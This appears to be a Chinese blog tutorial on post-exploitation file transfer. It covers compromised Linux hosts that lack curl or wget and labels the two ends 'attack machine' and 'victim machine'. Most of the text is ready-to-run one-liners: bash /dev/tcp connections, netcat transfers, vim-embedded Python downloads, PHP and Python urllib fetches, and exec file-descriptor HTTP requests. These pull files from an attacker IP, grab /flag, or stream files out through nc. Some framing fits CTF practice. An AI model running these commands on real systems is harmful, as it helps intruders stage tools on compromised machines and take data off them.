拿到服务器权限却无 curl、wget 环境?这里有一些骚操作!

核心场景说明
当Linux环境(如阉割版Docker、精简系统、受限Shell)缺少 curl、wget、nc(部分场景)等常用工具时,需通过系统内置命令(cat、vim)、编程语言(PHP/Python)或Shell特性(文件描述符)实现远程请求接口或下载文件。
分类实现方法(操作步骤+原理+适用场景)
方法1:cat + /dev/tcp(依赖Bash,无额外工具)
核心优势:纯内置命令,零依赖,Bash环境通用
原理:/dev/tcp/IP/PORT 是Bash虚拟TCP设备文件,读写等价于建立TCP连接,通过 cat 实现数据传输/HTTP请求
| 攻击机(发送) | 方式1:`cat 待传文件.txt | nc -lvp 7777<br>方式2:nc -lvp 7777 < 待传文件.txt` |
| 受害机(接收) | 方式1(收文件):cat < /dev/tcp/攻击机IP/7777 > 保存文件名.txt方式2(发HTTP请求):cat < /dev/tcp/目标IP/80 > response.txt && echo -e "GET /flag HTTP/1.0\\n" > /dev/tcp/目标IP/80 | 1. 连接攻击机端口,读取数据写入文件2. 向目标服务80端口发请求,响应存response.txt |
注意事项:
- 先通过 echo $SHELL 确认是Bash(输出 /bin/bash)
- HTTP请求需手动加换行符(\\n),否则服务端无法识别
方法2:nc(Netcat,受害机有nc时可用)
核心优势:传输稳定,支持大文件,操作极简
原理:nc -lvp PORT 监听端口,nc IP PORT < 文件 发送TCP流数据
| 受害机接收文件 | nc -lvp 3232 > 保存文件名.txt(受害机) | nc 受害机IP 3232 < 待传文件.txt(攻击机) | 受害机主动拉取文件 |
| 攻击机推送文件 | nc -lvp 6666 < 待传文件.txt(攻击机) | nc 攻击机IP 6666 > 保存文件名.txt(受害机) | 攻击机主动推送文件到受害机 |
注意事项:
- 传输敏感文件建议先压缩加密(如 tar zcf – 文件 | nc …)
- 部分精简环境可能无 nc,需先测试 nc -h
方法3:vim + Python(内置Python解释器)
核心优势:支持HTTP下载,无需记忆复杂语法
原理:vim -c 执行Python代码,利用 urllib 库下载文件
# 受害机一行执行(自动下载+退出)
vim -c ':py import vim,sys;
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r;
r.urlretrieve("http://攻击机IP:80/待下文件.txt", "保存文件名.txt");
vim.command(":q!")'
命令拆解:
注意事项:
- 检查vim Python支持:vim –version | grep +python(有+表示支持)
- 攻击机需启动HTTP服务(如 python -m http.server 80)
方法4:编程语言(PHP/Python,最常用)
核心优势:兼容性最强,支持HTTPS,灵活处理复杂请求
原理:利用内置网络库发送HTTP请求,文件操作函数保存数据
| PHP | ```bash | |
| php -r '$c=file_get_contents(“http://目标IP/flag.txt”); | ||
| file_put_contents(“保存名.txt”, $c);’ | ||
| ``` | 1. -r 直接执行代码2. 支持HTTP/HTTPS3. 适合Web环境 | |
| Python2 | ```bash | |
| python -c "import urllib2; | ||
| open(‘保存名.txt’, ‘wb’).write( | ||
| urllib2.urlopen(‘http://目标IP/flag.txt’).read() | ||
| )" | ||
| ``` | 1. wb 二进制写入(兼容图片/压缩包)2. 无额外依赖 | |
| Python3 | ```bash | |
| python3 -c "import urllib.request; | ||
| open(‘保存名.txt’, ‘wb’).write( | ||
| urllib.request.urlopen(‘http://目标IP/flag.txt’).read() | ||
| )" |
**HTTPS请求处理**(忽略SSL验证):
```bash
# Python3示例
python3 -c "import urllib.request, ssl;
ctx=ssl._create_unverified_context();
open('file.txt','wb').write(
urllib.request.urlopen('https://目标IP/flag', context=ctx).read()
)"
方法5:Bash exec + 文件描述符(高级技巧)
核心优势:极端精简环境可用,零依赖,纯Shell特性
原理:exec 绑定文件描述符到TCP连接,通过文件描述符读写实现HTTP请求
# 受害机一行执行(获取/flag接口)
exec 4<> /dev/tcp/目标IP/80 && \\
echo -e 'GET /flag HTTP/1.0\\n' 1>&4 && \\
cat 0<&4 > flag.txt
命令拆解:
注意事项:
- 仅支持Bash,sh/zsh 可能不兼容
- 复杂请求(POST/Header)需手动构造完整HTTP包
场景化选择建议
| 仅有Bash,无其他工具 | 方法1(cat+/dev/tcp)或方法5(exec) | 零依赖,操作简单 |
| 有nc命令 | 方法2(nc传输) | 传输稳定,支持大文件 |
| 有vim且支持Python | 方法3(vim+Python) | 语法简洁,支持HTTP下载 |
| 有PHP/Python(Web环境) | 方法4(编程语言) | 兼容性强,支持HTTPS/复杂请求 |
补充实用技巧
环境可用性测试:
echo $SHELL # 检查是否为Bash
php -v || python -v # 检查编程语言
vim –version | grep +python # 检查vim Python支持
攻击机HTTP服务搭建:
# Python2
python -m SimpleHTTPServer 80
# Python3
python3 -m http.server 80
常见问题排查:
- 连接超时:检查防火墙端口开放情况
- 下载失败:确认目标URL可访问,请求格式正确
- 权限不足:尝试在命令前加 sudo(若有sudo权限)






